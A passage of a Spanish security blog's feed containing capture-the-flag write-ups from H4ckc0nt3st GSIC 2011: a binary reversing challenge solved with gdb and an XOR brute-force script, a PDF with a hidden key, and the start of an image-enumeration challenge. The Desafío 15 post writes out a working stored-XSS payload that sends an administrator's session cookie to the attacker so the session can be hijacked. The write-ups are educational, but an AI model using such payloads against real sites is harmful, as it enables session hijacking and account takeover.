$0xe8,-0x13(%ebp)&lt;br /&gt;0xb7f8203e:     movb   $0xf4,-0x17(%ebp)&lt;br /&gt;0xb7f82042:     movb   $0xee,-0x18(%ebp)&lt;br /&gt;0xb7f82046:     movb   $0xc6,-0x12(%ebp)&lt;br /&gt;0xb7f8204a:     movb   $0xe2,-0xa(%ebp)&lt;br /&gt;0xb7f8204e:     movb   $0xeb,-0x1a(%ebp)&lt;br /&gt;0xb7f82052:     movb   $0xeb,-0x19(%ebp)&lt;br /&gt;0xb7f82056:     movb   $0xf3,-0x16(%ebp)&lt;br /&gt;0xb7f8205a:     movb   $0xe6,-0x9(%ebp)&lt;br /&gt;0xb7f8205e:     movb   $0xf1,-0x8(%ebp)&lt;br /&gt;0xb7f82062:     movb   $0xf3,-0x10(%ebp)&lt;br /&gt;0xb7f82066:     movb   $0xe6,-0xf(%ebp)&lt;br /&gt;0xb7f8206a:     movb   $0xe2,-0x7(%ebp)&lt;br /&gt;0xb7f8206e:     movb   $0xf5,-0xe(%ebp)&lt;br /&gt;0xb7f82072:     movb   $0xd4,-0x11(%ebp)&lt;br /&gt;0xb7f82076:     movb   $0xe9,-0x6(%ebp)&lt;br /&gt;0xb7f8207a:     push   %ecx&lt;br /&gt;0xb7f8207b:     push   %edi&lt;br /&gt;0xb7f8207c:     push   %esi&lt;br /&gt;0xb7f8207d:     xor    %eax,%eax&lt;br /&gt;0xb7f8207f:     mov    $0xffffffff,%ecx&lt;br /&gt;0xb7f82084:     mov    0x8(%ebp),%edi&lt;br /&gt;0xb7f82087:     xor    %eax,%eax&lt;br /&gt;0xb7f82089:     cld&lt;br /&gt;0xb7f8208a:     repnz scas %es:(%edi),%al&lt;br /&gt;0xb7f8208c:     not    %ecx&lt;br /&gt;0xb7f8208e:     dec    %ecx&lt;br /&gt;0xb7f8208f:     cmp    $0x1b,%ecx&lt;br /&gt;0xb7f82092:     je     0xb7f8209b&lt;br /&gt;0xb7f82094:     mov    $0xffffffff,%ecx&lt;br /&gt;0xb7f82099:     jmp    0xb7f820b7&lt;br /&gt;0xb7f8209b:     mov    $0x1b,%ecx&lt;br /&gt;0xb7f820a0:     xor    %eax,%eax&lt;br /&gt;0xb7f820a2:     lea    -0x20(%ebp),%eax&lt;br /&gt;0xb7f820a5:     mov    %eax,%edi&lt;br /&gt;0xb7f820a7:     mov    0x8(%ebp),%esi&lt;br /&gt;0xb7f820aa:     mov    (%edi),%al&lt;br /&gt;0xb7f820ac:     xor    (%esi),%al&lt;br /&gt;0xb7f820ae:     xor    $0x87,%al&lt;br /&gt;0xb7f820b0:     jne    0xb7f820b7&lt;br /&gt;0xb7f820b2:     inc    %edi&lt;br /&gt;0xb7f820b3:     inc    %esi&lt;br /&gt;0xb7f820b4:     dec    %ecx&lt;br /&gt;0xb7f820b5:     jne    0xb7f820aa&lt;br /&gt;0xb7f820b7:     mov    %ecx,%eax&lt;br /&gt;0xb7f820b9:     pop    %esi&lt;br /&gt;0xb7f820ba:     pop    %edi&lt;br /&gt;0xb7f820bb:     pop    %ecx&lt;br /&gt;0xb7f820bc:     leave&lt;br /&gt;0xb7f820bd:     ret&lt;br /&gt;0xb7f820be:     add    %al,(%eax)&lt;br /&gt;0xb7f820c0:     add    %al,(%eax)&lt;br /&gt;0xb7f820c2:     add    %al,(%eax)&lt;br /&gt;0xb7f820c4:     add    %al,(%eax)&lt;/code&gt;&lt;br /&gt;&lt;p align=&quot;justify&quot;&gt;Vemos cómo se colocan una serie de bytes en un array, en lo que probablemente sea la solución que necesitamos cifrada, pero en su momento no veíamos claro dónde o si se descifraba esta cadena, aunque sí parece que coge la cadena byte a byte y hace algún xor con cada byte, así que fijamos un breakpoint y recogemos la cadena cifrada de la memoria:&lt;/p&gt;&lt;br /&gt;&lt;code&gt;(gdb) b *0xb7f820b7&lt;br /&gt;Breakpoint 3 at 0xb7f820b7&lt;br /&gt;(gdb) continue&lt;br /&gt;Continuing.&lt;br /&gt;&lt;br /&gt;Breakpoint 3, 0xb7f820b7 in ?? ()&lt;br /&gt;(gdb) x/32b $ebp-0x20&lt;br /&gt;0xbfa37bd8:     0xcb    0xee    0xec    0xe2    0xc4    0xe6    0xeb    0xeb&lt;br /&gt;0xbfa37be0:     0xee    0xf4    0xf3    0xe8    0xd3    0xe8    0xc6    0xd4&lt;br /&gt;0xbfa37be8:     0xf3    0xe6    0xf5    0xce    0xe9    0xcf    0xe2    0xe6&lt;br /&gt;0xbfa37bf0:     0xf1    0xe2    0xe9    0x00    0xc4    0x7c    0xa3    0xbf&lt;br /&gt;(gdb) &lt;/code&gt;&lt;br /&gt;&lt;p align=&quot;justify&quot;&gt;Cogemos la cadena hasta el byte nulo y le aplicamos fuerza bruta buscando la respuesta que necesitamos mediante el script:&lt;/p&gt;&lt;br /&gt;&lt;code&gt;import hashlib&lt;br /&gt;import binascii&lt;br /&gt;from itertools import cycle, izip&lt;br /&gt;&lt;br /&gt;def mixor (ss, key):&lt;br /&gt;&amp;nbsp;key = cycle(key)&lt;br /&gt;&amp;nbsp;return &#39;&#39;.join(chr(ord(x) ^ ord(y)) for (x,y) in izip(ss, key))&lt;br /&gt;&lt;br /&gt;cadena=&#39;cbeeece2c4e6ebebeef4f3e8d3e8c6d4f3e6f5cee9cfe2e6f1e2e9&#39;&lt;br /&gt;&lt;br /&gt;for a in range(0,256):&lt;br /&gt;&amp;nbsp;print str(a)+&#39; &#39;+mixor(binascii.unhexlify(cadena),chr(a))&lt;/code&gt;&lt;br /&gt;&lt;p align=&quot;justify&quot;&gt;Revisando la salida encontramos la respuesta, correspondiente al xor con 135.&lt;/p&gt;&lt;br /&gt;&lt;a onblur=&quot;try {parent.deselectBloggerImageGracefully();} catch(e) {}&quot; href=&quot;https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEgKGzQnLjgCkqGriZbVe7Hgh2tuIzi6_R8h95hy2g6aLF1asNdUBGimp7d4efTopip8ztMFd17euDLr49Oiy2bNrCNYOreot2ufBz4ZnVJJjQYpUYUs3OiLvQGb8uJsfv3ecJ3j4cEm7pA/s1600/desafio16_3.png&quot;&gt;&lt;img style=&quot;display:block; margin:0px auto 10px; text-align:center;cursor:pointer; cursor:hand;width: 269px; height: 211px;&quot; src=&quot;https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEgKGzQnLjgCkqGriZbVe7Hgh2tuIzi6_R8h95hy2g6aLF1asNdUBGimp7d4efTopip8ztMFd17euDLr49Oiy2bNrCNYOreot2ufBz4ZnVJJjQYpUYUs3OiLvQGb8uJsfv3ecJ3j4cEm7pA/s400/desafio16_3.png&quot; border=&quot;0&quot; alt=&quot;&quot;id=&quot;BLOGGER_PHOTO_ID_5601859114669387298&quot; /&gt;&lt;/a&gt;&lt;br /&gt;&lt;p align=&quot;justify&quot;&gt;Podemos comprobar que funciona introduciéndola como parámetro:&lt;/p&gt;&lt;br /&gt;&lt;code&gt;# ./resiste LikeCallistoToAStarInHeaven&lt;br /&gt;Efectivamente, la clave es LikeCallistoToAStarInHeaven. Ahí te he visto fino yo ;)&lt;/code&gt;&lt;br /&gt;&lt;p align=&quot;justify&quot;&gt;Analizando posteriormente el código, comprobamos que la cadena no se descifra en memoria en ningún momento, sino que se hace un xor byte a byte con el parámetro introducido por el usuario, y posteriormente con 0x87(135).  Dadas las propiedades de la operación xor, si la clave es correcta, el resultado será 0 para cada byte.&lt;/p&gt;&lt;br /&gt;&lt;p align=&quot;justify&quot;&gt;PD: Este es el último de los retos que resolví en este concurso, así que aprovecho para agradecérselo a los &quot;culpables&quot; del reto y unas excelentes jornadas... ¡¡Muchas gracias a &lt;a href=&quot;http://twitter.com/#!/mgesteiro&quot;&gt;Miguel Gesteiro&lt;/a&gt; y a la gente de &lt;a href=&quot;http://gsicoruna.com/&quot;&gt;GSI Coruña&lt;/a&gt;!!.  Gracias también a la gente de &lt;a href=&quot;http://hackplayers.blogspot.com/&quot;&gt;HackPlayers&lt;/a&gt; y &lt;a href=&quot;http://batchdrake.wordpress.com/&quot;&gt;BatchDrake&lt;/a&gt;, que sé que aportaron pruebas.  Si me he dejado a alguien no dudéis en decírmelo, por favor :-).&lt;/p&gt;</content><link rel='replies' type='application/atom+xml' href='http://pentsec.blogspot.com/feeds/7696849322336494453/comments/default' title='Enviar comentarios'/><link rel='replies' type='text/html' href='http://pentsec.blogspot.com/2011/05/writeup-desafio-16-h4ckc0nt3st-gsic.html#comment-form' title='0 comentarios'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/2801530176223592362/posts/default/7696849322336494453'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/2801530176223592362/posts/default/7696849322336494453'/><link rel='alternate' type='text/html' href='http://pentsec.blogspot.com/2011/05/writeup-desafio-16-h4ckc0nt3st-gsic.html' title='WriteUp - Desafío 16 - H4ckc0nt3st GSIC 2011'/><author><name>ramandi</name><uri>http://www.blogger.com/profile/06511961608508220893</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='16' height='16' src='https://img1.blogblog.com/img/b16-rounded.gif'/></author><media:thumbnail xmlns:media="http://search.yahoo.com/mrss/" url="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEiVY67f9pa0bIu3mRbuQryQ-yBRMzyVCKiIAz5vtEAZGtiakhWIX-7X-wJFnArIdE_F2xQSj7J1TX2JVB9suuPL_V-79PtGwVhGjk1ALW7sf6ZCF7lbx6WcSS3qp0hO-utq6KD9qJRQRFU/s72-c/desafio16_1.png" height="72" width="72"/><thr:total>0</thr:total></entry><entry><id>tag:blogger.com,1999:blog-2801530176223592362.post-8570639707229255972</id><published>2011-05-01T03:46:00.007+02:00</published><updated>2011-05-01T04:04:24.821+02:00</updated><title type='text'>WriteUp - Desafío 7 - H4ckc0nt3st GSIC 2011</title><content type='html'>&lt;div style=&quot;text-align: justify;&quot;&gt;&lt;a onblur=&quot;try {parent.deselectBloggerImageGracefully();} catch(e) {}&quot; href=&quot;https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEgJW7vW0Sd9k5cIoUJSDfEJx4UD1OnKGoaVxWqTceVNBG6i2cnJ4rBrqslrLcajln-BheDOklkOiJ8x3PU8mfQ1-dZzHXmFEB28goICI6tbPNkeKaFWv68UvzpqFm16LEQ4-uzTLwbkcm6j/s1600/descripcion.png&quot;&gt;&lt;img style=&quot;display: block; margin: 0px auto 10px; text-align: center; cursor: pointer; width: 400px; height: 257px;&quot; src=&quot;https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEgJW7vW0Sd9k5cIoUJSDfEJx4UD1OnKGoaVxWqTceVNBG6i2cnJ4rBrqslrLcajln-BheDOklkOiJ8x3PU8mfQ1-dZzHXmFEB28goICI6tbPNkeKaFWv68UvzpqFm16LEQ4-uzTLwbkcm6j/s400/descripcion.png&quot; alt=&quot;&quot; id=&quot;BLOGGER_PHOTO_ID_5601559307669568722&quot; border=&quot;0&quot; /&gt;&lt;/a&gt;&lt;span style=&quot;font-size:100%;&quot;&gt;&lt;span style=&quot;color: rgb(0, 0, 0);&quot;&gt;Nos encontramos ante un archivo de tipo PDF (&lt;a href=&quot;https://sites.google.com/site/archivospentsec/formulario.pdf?attredirects=0&amp;amp;d=1&quot;&gt;Descargar&lt;/a&gt;). Al abrirlo observamos l&lt;/span&gt;&lt;/span&gt;&lt;span style=&quot;font-size:100%;&quot;&gt;&lt;span style=&quot;color: rgb(0, 0, 0);&quot;&gt;o siguiente:&lt;/span&gt;&lt;/span&gt;&lt;br /&gt;&lt;/div&gt;&lt;br /&gt;&lt;a href=&quot;https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEhU9dvMAUSUqQQ_D9uMXZUuIGSNassgJMXDQdNNx6MGvN7SbKcHpsDugBP20ZyS5vTE_Z4-pOMJ7gTDJwlrUc4-RGFGvr4fCMS5yzYwzhnPmvKoKMeaanhxUPD6VRY-NqmJ8EzKyAjHHkA0/s1600/accesosistema.png&quot;&gt;&lt;img style=&quot;display: block; margin: 0px auto 10px; text-align: center; cursor: pointer; width: 320px; height: 187px;&quot; src=&quot;https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEhU9dvMAUSUqQQ_D9uMXZUuIGSNassgJMXDQdNNx6MGvN7SbKcHpsDugBP20ZyS5vTE_Z4-pOMJ7gTDJwlrUc4-RGFGvr4fCMS5yzYwzhnPmvKoKMeaanhxUPD6VRY-NqmJ8EzKyAjHHkA0/s320/accesosistema.png&quot; alt=&quot;&quot; id=&quot;BLOGGER_PHOTO_ID_5601560565450810194&quot; border=&quot;0&quot; /&gt;&lt;/a&gt;&lt;br /&gt;&lt;div style=&quot;text-align: justify;&quot;&gt;Decidimos usar PDFStreamDumper para analizar detenidamente todo el PDF. Una&lt;br /&gt;vez abierto y revisándolo nos encontramos con un Javascript:&lt;br /&gt;&lt;br /&gt;&lt;a href=&quot;https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEjPtg_EVRHQ1ZHEtjb5w0Eav63GaQ4cX6wPd9dW9DPuNMqGclwHJRKuAlgfYXgEYIpEXNAueDmDNQGFDTeFBbp9z0uIXIAg_nwsK57xiqIrwo-nyNemY77Weqb1vNBPNSPscevRkpxrAYkO/s1600/javascript.png&quot;&gt;&lt;img style=&quot;display: block; margin: 0px auto 10px; text-align: center; cursor: pointer; width: 400px; height: 92px;&quot; src=&quot;https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEjPtg_EVRHQ1ZHEtjb5w0Eav63GaQ4cX6wPd9dW9DPuNMqGclwHJRKuAlgfYXgEYIpEXNAueDmDNQGFDTeFBbp9z0uIXIAg_nwsK57xiqIrwo-nyNemY77Weqb1vNBPNSPscevRkpxrAYkO/s400/javascript.png&quot; alt=&quot;&quot; id=&quot;BLOGGER_PHOTO_ID_5601560866481738178&quot; border=&quot;0&quot; /&gt;&lt;/a&gt;&lt;br /&gt;&lt;div style=&quot;text-align: justify;&quot;&gt;&lt;div style=&quot;text-align: justify;&quot;&gt;Usamos la opción &lt;a href=&quot;https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEi7N2SW2Ki8-cp9AgGn1I237s4eAQwq5AKyB4PWcRN-gYFSrZuo6vvWLHiVprAxhm2dlLDFDxYe8zyzhBjfyYHxC9Eee7e5R5Yd-cx4XZcyg670_SPb5hBHXUS0wc9aMBUmZQ-bSIEgzmAm/s1600/opciona.png&quot;&gt;&lt;img style=&quot;cursor: pointer; width: 80px; height: 19px;&quot; src=&quot;https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEi7N2SW2Ki8-cp9AgGn1I237s4eAQwq5AKyB4PWcRN-gYFSrZuo6vvWLHiVprAxhm2dlLDFDxYe8zyzhBjfyYHxC9Eee7e5R5Yd-cx4XZcyg670_SPb5hBHXUS0wc9aMBUmZQ-bSIEgzmAm/s200/opciona.png&quot; alt=&quot;&quot; id=&quot;BLOGGER_PHOTO_ID_5601561201272469362&quot; border=&quot;0&quot; /&gt;&lt;/a&gt; y pulsamos  &lt;a href=&quot;https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEgU3HpMmTgBUAgdAhjGGsmQAPguBtMh_5RmWssYAN6YJxo32SxpUwz5iguTEfLRf0s55-DBTkw6hcCof78SHoYB6yRkMh0SO5v24ejd4vFDCuzBgjjM36SqqTPjqTDBT3geEIF5e4GPIExm/s1600/opcionb.png&quot;&gt;&lt;img style=&quot;cursor: pointer; width: 103px; height: 30px;&quot; src=&quot;https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEgU3HpMmTgBUAgdAhjGGsmQAPguBtMh_5RmWssYAN6YJxo32SxpUwz5iguTEfLRf0s55-DBTkw6hcCof78SHoYB6yRkMh0SO5v24ejd4vFDCuzBgjjM36SqqTPjqTDBT3geEIF5e4GPIExm/s200/opcionb.png&quot; alt=&quot;&quot; id=&quot;BLOGGER_PHOTO_ID_5601561419981975234&quot; border=&quot;0&quot; /&gt;&lt;/a&gt;. Al momento obtenemos&lt;br /&gt;&lt;br /&gt;la clave del desafío:&lt;br /&gt;&lt;/div&gt;&lt;br /&gt;&lt;a href=&quot;https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEhLcQgH1STykdAsjsxvKV7reOPbsaF829MRHUECJZWkZKj_IbhU809B4UukxGH8wYmkjBiyTPjDPFBRDwZ3Kob2Xvv933n_6soTlweVVDRAcZ_dfvPN__ViiM0Gln_R-JJS9ca_w7YHIb-H/s1600/clave.png&quot;&gt;&lt;img style=&quot;display: block; margin: 0px auto 10px; text-align: center; cursor: pointer; width: 400px; height: 27px;&quot; src=&quot;https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEhLcQgH1STykdAsjsxvKV7reOPbsaF829MRHUECJZWkZKj_IbhU809B4UukxGH8wYmkjBiyTPjDPFBRDwZ3Kob2Xvv933n_6soTlweVVDRAcZ_dfvPN__ViiM0Gln_R-JJS9ca_w7YHIb-H/s400/clave.png&quot; alt=&quot;&quot; id=&quot;BLOGGER_PHOTO_ID_5601561620615057362&quot; border=&quot;0&quot; /&gt;&lt;/a&gt;&lt;br /&gt;&lt;/div&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://pentsec.blogspot.com/feeds/8570639707229255972/comments/default' title='Enviar comentarios'/><link rel='replies' type='text/html' href='http://pentsec.blogspot.com/2011/05/writeup-desafio-7-h4ckc0nt3st-gsic-2011.html#comment-form' title='0 comentarios'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/2801530176223592362/posts/default/8570639707229255972'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/2801530176223592362/posts/default/8570639707229255972'/><link rel='alternate' type='text/html' href='http://pentsec.blogspot.com/2011/05/writeup-desafio-7-h4ckc0nt3st-gsic-2011.html' title='WriteUp - Desafío 7 - H4ckc0nt3st GSIC 2011'/><author><name>B4RRe1R0</name><uri>http://www.blogger.com/profile/16303833812986131301</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='29' height='32' src='http://2.bp.blogspot.com/-XH9xWNKExsQ/T5ZnRpRzcWI/AAAAAAAAIYU/z4t5EDVFwgU/s220/B4RRe1R0.jpg'/></author><media:thumbnail xmlns:media="http://search.yahoo.com/mrss/" url="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEgJW7vW0Sd9k5cIoUJSDfEJx4UD1OnKGoaVxWqTceVNBG6i2cnJ4rBrqslrLcajln-BheDOklkOiJ8x3PU8mfQ1-dZzHXmFEB28goICI6tbPNkeKaFWv68UvzpqFm16LEQ4-uzTLwbkcm6j/s72-c/descripcion.png" height="72" width="72"/><thr:total>0</thr:total></entry><entry><id>tag:blogger.com,1999:blog-2801530176223592362.post-1224501819924180790</id><published>2011-04-30T23:11:00.003+02:00</published><updated>2011-04-30T23:23:25.611+02:00</updated><title type='text'>WriteUp - Desafío 15 - H4ckc0nt3st GSIC 2011</title><content type='html'>&lt;p align=&quot;justify&quot;&gt;En este desafío nos presentan un servicio de correo web sencillo y nos piden que obtengamos la contraseña del administrador.&lt;/p&gt;&lt;br /&gt;&lt;p align=&quot;justify&quot;&gt;Nos registramos en el servicio y curioseamos un poco para ver a qué nos enfrentamos… Tenemos un sencillo formulario para enviar mensajes a otros usuarios de la plataforma, una opción para revisar nuestros datos en la que podemos observar nuestra contraseña sin cifrar e incluso un amable mensaje de nuestro administrador indicándonos que si tenemos cualquier problema le escribamos a su cuenta ‘administrador’.&lt;/p&gt;&lt;br /&gt;&lt;p align=&quot;justify&quot;&gt;Parece que nos está pidiendo a gritos un XSS (si es que se le puede llamar así en este caso, ya que inyectamos código pero apuntando al mismo site), así que es lo primero que probamos, y de paso vemos el formato que necesitamos para enviar mensajes, que es autoexplicativo:&lt;/p&gt;&lt;br /&gt;&lt;code&gt;https://10.20.63.1:6666/desafios/MensajeriaWEB/enviar.hc?para=ram&amp;amp;asunto=prueba&amp;amp;cuerpo=&amp;lt;script&amp;gt;alert(&#39;xss&#39;)&amp;lt;/script&amp;gt;&lt;/code&gt;&lt;br /&gt;&lt;p align=&quot;justify&quot;&gt;Hemos tenido suerte, porque al abrir el mensaje se nos abre el MessageBox esperado :-).  Ahora tenemos que preparar el definitivo.&lt;/p&gt;&lt;br /&gt;&lt;p align=&quot;justify&quot;&gt;Antes de enviar el mensaje definitivo, nos creamos una segunda cuenta e hicimos pruebas entre ellas, para que no cantaran demasiado todas nuestras pruebas erróneas en el buzón del administrador, pero aquí pondremos los finales.&lt;/p&gt;&lt;br /&gt;&lt;p align=&quot;justify&quot;&gt;En primer lugar preparamos la url que queremos que visite nuestro administrador.  Queremos robarle la cookie de sesión para poder ir al panel y obtener su contraseña, y nos valemos de la propia plataforma para que nos la envíe.  Es decir, queremos que nos envíe un mensaje con su cookie, por lo que siguiendo el formato que hemos visto, debería visitar una url similar a la siguiente:&lt;/p&gt;&lt;br /&gt;&lt;code&gt;https://10.20.63.1:6666/desafios/MensajeriaWEB/enviar.hc?para=ram&amp;amp;asunto=tuclave&amp;amp;cuerpo=AQUI_LA_COOKIE&lt;/code&gt;&lt;br /&gt;&lt;p align=&quot;justify&quot;&gt;Para poder añadir el valor de la cookie a esa url debemos obtenerlo mediante javascript, y además no estamos seguros de que el administrador vaya a pinchar en nuestros enlaces, así que preferimos redirigirle automáticamente, con lo que el cuerpo de nuestro mensaje debe ser algo como esto:&lt;/p&gt;&lt;br /&gt;&lt;code&gt;&amp;lt;script&amp;gt;document.location=&quot;https://10.20.63.1:6666/desafios/MensajeriaWEB/enviar.hc?para=ram&amp;amp;asunto=tuclave&amp;amp;cuerpo=&quot;+document.cookie&amp;lt;/script&amp;gt;&lt;/code&gt;&lt;br /&gt;&lt;p align=&quot;justify&quot;&gt;Ahora sólo tenemos que enviarle el script, para lo que utilizamos la siguiente url, que envía nuestro mensaje con el payload deseado.  Notar que en dicho payload ha habido que codificar los caracteres especiales en una url (?, =, &amp;amp;) para que no fueran interpretados en el primer envío por enviar.hc:&lt;/p&gt;&lt;br /&gt;&lt;code&gt;https://10.20.63.1:6666/desafios/MensajeriaWEB/enviar.hc?para=administrador&amp;amp;asunto=prueba&amp;amp;cuerpo=&amp;lt;script&amp;gt;document.location=&quot;https://10.20.63.1:6666/desafios/MensajeriaWEB/enviar.hc%3fpara%3dram%26asunto%3dtuclave%26cuerpo%3d&quot;+document.cookie&amp;lt;/script&amp;gt;&lt;/code&gt;&lt;br /&gt;&lt;p align=&quot;justify&quot;&gt;Ya hemos enviado el mensaje, ahora sólo nos queda esperar que el administrador lea sus mensajes y no tenga filtros especiales que impidan que funcione nuestro ataque.  Esto es lo que más cuesta del desafío, porque el administrador se estaba echando una merecida siesta después del trabajo bien hecho ;-).&lt;/p&gt;&lt;br /&gt;&lt;p align=&quot;justify&quot;&gt;Cuando por fin accede, recibimos el correo que esperábamos con la cookie del administrador, la sustituimos por la nuestra en el navegador y accedemos al panel.  Vamos a la opción de revisar la contraseña y conseguimos nuestro objetivo:&lt;/p&gt;&lt;br /&gt;&lt;a href=&quot;https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEizMULTdt7mOu2qmTcEKEBZmSXuJFrnvMY9pPZG5gwPGiPhSiKLvrn7D_25eRnRu6b3Q53xQhwCaKk1OR9t_VCcxU_4d9hSo-EfVqSzqUqvmde6o7RKa1n4iC8pvyM3WVLc1k3aE_d73YI/s1600/desafio15_1.png&quot; onblur=&quot;try {parent.deselectBloggerImageGracefully();} catch(e) {}&quot;&gt;&lt;img style=&quot;display:block; margin:0px auto 10px; text-align:center;cursor:pointer; cursor:hand;width: 400px; height: 233px;&quot; src=&quot;https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEizMULTdt7mOu2qmTcEKEBZmSXuJFrnvMY9pPZG5gwPGiPhSiKLvrn7D_25eRnRu6b3Q53xQhwCaKk1OR9t_VCcxU_4d9hSo-EfVqSzqUqvmde6o7RKa1n4iC8pvyM3WVLc1k3aE_d73YI/s400/desafio15_1.png&quot; border=&quot;0&quot; alt=&quot;&quot; id=&quot;BLOGGER_PHOTO_ID_5601488716245504450&quot; /&gt;&lt;/a&gt;&lt;br /&gt;&lt;p align=&quot;justify&quot;&gt;Introducimos ‘m41l_XSS’ en el formulario de la prueba y superamos el desafío.&lt;/p&gt;</content><link rel='replies' type='application/atom+xml' href='http://pentsec.blogspot.com/feeds/1224501819924180790/comments/default' title='Enviar comentarios'/><link rel='replies' type='text/html' href='http://pentsec.blogspot.com/2011/04/writeup-desafio-15-h4ckc0nt3st-gsic.html#comment-form' title='2 comentarios'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/2801530176223592362/posts/default/1224501819924180790'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/2801530176223592362/posts/default/1224501819924180790'/><link rel='alternate' type='text/html' href='http://pentsec.blogspot.com/2011/04/writeup-desafio-15-h4ckc0nt3st-gsic.html' title='WriteUp - Desafío 15 - H4ckc0nt3st GSIC 2011'/><author><name>ramandi</name><uri>http://www.blogger.com/profile/06511961608508220893</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='16' height='16' src='https://img1.blogblog.com/img/b16-rounded.gif'/></author><media:thumbnail xmlns:media="http://search.yahoo.com/mrss/" url="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEizMULTdt7mOu2qmTcEKEBZmSXuJFrnvMY9pPZG5gwPGiPhSiKLvrn7D_25eRnRu6b3Q53xQhwCaKk1OR9t_VCcxU_4d9hSo-EfVqSzqUqvmde6o7RKa1n4iC8pvyM3WVLc1k3aE_d73YI/s72-c/desafio15_1.png" height="72" width="72"/><thr:total>2</thr:total></entry><entry><id>tag:blogger.com,1999:blog-2801530176223592362.post-7843488332816556284</id><published>2011-04-30T00:51:00.013+02:00</published><updated>2011-04-30T22:48:29.682+02:00</updated><title type='text'>WriteUp - Desafío 12 - H4ckc0nt3st GSIC 2011</title><content type='html'>&lt;div style=&quot;text-align: justify;&quot;&gt;En este desafío nos encontramos ante la siguiente página:&lt;/div&gt;&lt;div style=&quot;text-align: justify;&quot;&gt;&lt;br /&gt;
&lt;/div&gt;&lt;div style=&quot;text-align: justify;&quot;&gt;&lt;img alt=&quot;&quot; border=&quot;0&quot; id=&quot;BLOGGER_PHOTO_ID_5601144519985857266&quot; src=&quot;https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEjl-lNZGSM7eEXOgEo-xw_Vv3AvjKrHPnC2R7HvMsyH7TcqvGw5kLMLKlauKqg5AgGsIjm4vjeCAdX0RxRTK0TYcG92qCXumeduVSP0D6XfRZPr1Rw3I0Afk2RxP4SS0SbARHB9xl-iOS4/s400/desafio12_1.png&quot; style=&quot;cursor: pointer; display: block; height: 230px; margin: 0px auto 10px; text-align: center; width: 400px;&quot; /&gt;&lt;/div&gt;&lt;div style=&quot;text-align: justify;&quot;&gt;Introduciendo cualquier cosa en el primer campo y dando a “continuar” nos da el mensaje “No es lo que busco…”, mientras que rellenar el segundo campo y pulsar “desvelar” no tiene efecto aparente.&lt;/div&gt;&lt;div style=&quot;text-align: justify;&quot;&gt;&lt;br /&gt;
&lt;/div&gt;&lt;div style=&quot;text-align: justify;&quot;&gt;Recargando la página va cambiando la imagen del conejo, que vemos que tiene un nombre con un patrón numérico, por lo que decidimos descargar todas las imágenes y ver a dónde nos llevan.&lt;br /&gt;
&lt;/div&gt;&lt;div style=&quot;text-align: justify;&quot;&gt;&lt;div style=&quot;text-align: left;&quot;&gt;&lt;code&gt; import urllib2&lt;/code&gt;&lt;br /&gt;
&lt;code&gt; &lt;/code&gt;&lt;br /&gt;
&lt;code&gt; base=&#39;https://10.20.63.1:6666/desafios/12/conejos/rabbit&#39; #01.png&lt;/code&gt;&lt;br /&gt;
&lt;code&gt; &lt;/code&gt;&lt;br /&gt;
&lt;code&gt; for a in range(1,9):&lt;/code&gt;&lt;br /&gt;
&lt;code&gt; &amp;nbsp;fich=open(&#39;rabbit0&#39;+str(a)+&#39;.png&#39;,&#39;wb&#39;)&lt;/code&gt;&lt;br /&gt;
&lt;code&gt; &amp;nbsp;page=urllib2.urlopen(base+&#39;0&#39;+str(a)+&#39;.png&#39;)&lt;/code&gt;&lt;br /&gt;
&lt;code&gt; &amp;nbsp;cont=page.read()&lt;/code&gt;&lt;br /&gt;
&lt;code&gt; &amp;nbsp;fich.write(cont)&lt;/code&gt;&lt;br /&gt;
&lt;code&gt; &amp;nbsp;fich.close()&lt;/code&gt;&lt;br /&gt;
&lt;code&gt; &lt;/code&gt;&lt;br /&gt;
&lt;code&gt; &lt;/code&gt;&lt;br /&gt;
&lt;code&gt; for a in range(10,100):&lt;/code&gt;&lt;br /&gt;
&lt;code&gt; &amp;nbsp;fich=open(&#39;rabbit&#39;+str(a)+&#39;.png&#39;,&#39;wb&#39;)&lt;/code&gt;&lt;br /&gt;
&lt;code&gt; &amp;nbsp;page=urllib2.urlopen(base+str(a)+&#39;.png&#39;)&lt;/code&gt;&lt;br /&gt;
&lt;code&gt; &amp;nbsp;cont=page.read()&lt;/code&gt;&lt;br /&gt;
&lt;code&gt; &amp;nbsp;fich.write(cont)&lt;/code&gt;&lt;br /&gt;
&lt;code&gt; &amp;nbsp;fich.close()&lt;/code&gt;&lt;br /&gt;
&lt;br /&gt;
